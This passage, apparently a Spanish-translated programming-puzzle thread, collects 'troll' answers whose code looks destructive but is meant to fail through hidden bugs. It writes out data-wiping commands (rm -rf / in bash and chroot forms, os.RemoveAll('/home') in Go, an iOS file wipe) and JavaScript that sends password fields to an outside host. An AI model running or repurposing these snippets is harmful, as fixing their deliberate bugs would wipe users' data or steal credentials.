        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerusa un hilo de fondo para llamar a los TimerTaskmensajes que le enviaste. new Timer(true)crea un Timercon el subproceso de fondo establecido como un subproceso de daemon, por lo que el programa simplemente sale inmediatamente antes de que se puedan ejecutar las tareas. El código demasiado largo distrae al troll de ver el trueparámetro.

Perro
fuente
7
rm -rf ⁄

El carácter no es el carácter de barra regular (/, es decir, SOLIDUS en Unicode) sino que es FRACTION SLASH. Imprimirá un mensaje como "rm: ⁄: No existe tal archivo o directorio"

Geoff Reedy
fuente
10
Oh, realmente déjame intentarlo ...
Michael J. Calkins
1
@MichaelCalkins: puede intentarlo como usuario no privilegiado y ver el mensaje "no encontrado" ... con suerte.
Olivier Dulac
7

golpetazo

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Es quizás tan malvado como se pone. Define una función que lo rm -rf /invoca. No solo que hace uso del maleval en más de una ocasión.

¡Haría mucho daño, seguramente!

En caso de que se lo pregunte, el primero evaldesarma la función de la siguiente manera: unset -f cleanup El segundo lo evaldefine como: cleanup() { echo Troll detected; } Entonces, al ejecutar el código, verá Troll detected

devnull
fuente
99
¡Bueno! Pero, diría que las líneas "base64", que aparentemente no tienen uso para la eliminación real, hacen que esto sea demasiado obvio.
Erel Segal-Halevi
1
Podría ser mejor si te evalhicieran creer que los s estaban haciendo algo más malvado que cualquier código obvio. El código actual me lleva a preguntar: ¿por qué molestarse en ocultar el código 'malvado' si lo obvio es eliminar todo?
Tim S.
2
No creo que este cumpla con los requisitos, ya que es potencialmente muy malicioso: si base64(no es un comando estándar) no existe en el sistema en el que se ejecuta, ¡las evaluaciones no hacen nada y se rm -rf /ejecutan! Esto también podría suceder si base64está presente pero falla por alguna razón (p ulimit. Ej .).
R ..
1
@R .: Además, rm -rf /no funcionará en la mayoría de rmlas implementaciones. Esta es una característica de seguridad: no puede eliminar el directorio raíz en la mayoría de las implementaciones de rm.
Konrad Borowski
1
Hasta donde sé, funciona en la versión busybox. :-)
R ..
6

GOLPETAZO

Claro que necesitamos privilegios de root para la máquina, por lo que usamos el viejo "¿Tengo root?" - checker, también conocido como ch (eck) root - pero es mejor hacerlo en un directorio donde no se generen muchas alarmas. / tmp sería perfecto, porque todos pueden escribir archivos allí.

Después de esto, simplemente eliminamos todo el disco duro de la risa malvada

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"
german_guy
fuente
10
como alemán puedo decir: no hagas la risa malvada como un chico alemán ...
Philipp Sander
Wer , si no es un chico alemán, ¿puede hacer reír a Ze Eefil, zen?
Alexander Kosubek
55
Tengo que admitir que me tomó varias lecturas del código y luego releí tus comentarios para averiguar por qué alguien podría pensar que esto es malicioso. No creo que esto funcione si no hubieras tratado de persuadir a alguien en tus comentarios de que Chroot hace algo diferente a lo que hace y la pregunta dice que el troll no lee los comentarios ...
Chris
1
Por cierto, chrootno es "verificar raíz", es "cambiar raíz": cambia la idea del usuario de lo que /es. Curiosamente, este troll no puede hacer nada para los usuarios root y no root; Los usuarios root obtienen una nueva raíz (y, por lo tanto, no tienen el comando / bin / bash, ya que no existe nada en la raíz recién creada de / tmp / chroot_dir), y los usuarios no root no pueden hacer un chroot.
mah
Esto es como la pista de esto: sé que no es "cambiar raíz", pero mi capturador (¿palabra correcta?) No lo sabe, por lo que falla gravemente "
German_guy
6

iPhone - Flappy Bird Clone

Mientras el usuario reproduce un clon de iPhone Flappy Bird, todos los archivos en el directorio Documentos se eliminan.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Cada aplicación en iOS es Sandboxed, por lo que si bien esto elimina todo en el directorio Documentos, es solo el directorio Documentos para esta aplicación en particular. El troll obviamente no es consciente de esto, ya que ya ha sido inundado con tantos programas para otras plataformas. Y tan pronto como se da cuenta de que él también puede lanzar un clon de Flappy Bird, puede estar tan emocionado que ni siquiera se molesta en pensar en el resto del código, ya que está demasiado preocupado soñando con ganar $ 50,000 al día en publicidad sin haciendo cualquier trabajo

Richard Venable
fuente
5

Ir:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Este es un poco complicado. En Go, todo el programa sale cuando sale la Goroutine principal. Una buena forma de solucionar esto es con un grupo de espera. Hay dos grandes problemas con mi "solución":

  1. El grupo de espera no se agrega hasta que comienza la Goroutine, lo que significa que la Goroutine principal golpeará Waitantes de que la eliminación Goroutine llegue Add. Como el contador será 0, no tiene nada que esperar y, por lo tanto, no se bloqueará y terminará saliendo, terminando así el programa.
  2. Incluso si, de alguna manera, mágicamente, la adición de deleteAll goroutine se realiza primero. Obtuvo una copia del grupo de espera, no un puntero. No se agregará al mismo grupo de espera, por lo que la Goroutine principal nunca lo verá.

El fmt.Scanln () para esperar entrada es solo para asegurar que la Goroutine principal salga antes de que algo suceda. El Println probablemente hará que bloquee las E / S y cambie a ejecutar la Goroutine principal (por lo tanto, salga), y el Scanln seguramente lo hará. En realidad, tampoco son necesarios con ninguna versión de Go.

En la súper teoría, esto PODRÍA funcionar y eliminar algo, lo que significa que, según el modelo de memoria Go, no hay una relación garantizada de "suceda antes" con respecto al final mainy la ejecución de RemoveAll, pero no funcionará en ningún compilador / compilador Go moderno como se evidencia por todos los novatos que cometen el error de no poner la sincronización en sus funciones principales.

LinearZoetrope
fuente
4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1)

No se ejecutará, no puede crear un cierre, todos lo llaman sin rodearlo con parens

2)

Si el troll logra arreglar eso, hay un error tipográfico hermoso para depurar ... ;-)

Juan garcia
fuente
1
¿que lenguaje? y tal vez
insinúe
@ masterX244 es Javascript, lo editaré. Sugerencia de error tipográfico: ReferenceError
Juan Garcia
3
Ese error tipográfico es tan frecuente que los editores
deben corregirlo automáticamente
Sí, hago mucho ese error tipográfico. Especialmente si la longitud de la palabra es bastante larga: P
Mohammed Joraid
1
@ m01 +1 ¡Creo que debería ser una palabra reservada que arroje una excepción o un error de tiempo de compilación!
Juan García